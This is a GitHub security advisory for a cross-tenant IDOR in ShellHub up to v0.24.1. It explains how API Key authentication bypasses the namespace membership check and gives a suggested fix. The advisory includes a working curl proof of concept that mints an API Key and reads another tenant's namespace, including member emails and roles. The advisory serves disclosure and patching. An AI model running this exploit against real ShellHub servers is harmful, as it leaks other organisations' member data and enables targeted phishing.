GHSA-vwx9-7qcf-gg7f

Suggest an improvement
Source
https://github.com/advisories/GHSA-vwx9-7qcf-gg7f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vwx9-7qcf-gg7f/GHSA-vwx9-7qcf-gg7f.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-vwx9-7qcf-gg7f
Aliases
Published
2026-05-07T03:02:28Z
Modified
2026-05-14T20:45:20.632651589Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check
Details

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

var uid string
if c.ID() != nil {
    uid = c.ID().ID
}

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
    return c.NoContent(http.StatusNotFound)
}

if uid != "" {                              // ⚠️ skipped when API Key is used
    if _, ok := ns.FindMember(uid); !ok {
        return c.NoContent(http.StatusForbidden)
    }
}

return c.JSON(http.StatusOK, ns)
  

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
#                      settings, max_devices, devices_accepted_count, type, created_at}
  

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

    // nsadm.go GetNamespace
    if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
        return c.NoContent(http.StatusForbidden)
    }
     

Database specific
{
    "cwe_ids": [
        "CWE-639"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:02:28Z",
    "nvd_published_at": "2026-05-13T22:16:44Z"
}
References

Affected packages

Go / github.com/shellhub-io/shellhub

Package

Name
github.com/shellhub-io/shellhub
View open source insights on deps.dev
Purl
pkg:golang/github.com/shellhub-io/shellhub

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.24.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vwx9-7qcf-gg7f/GHSA-vwx9-7qcf-gg7f.json"
last_known_affected_version_range
"<= 0.24.1"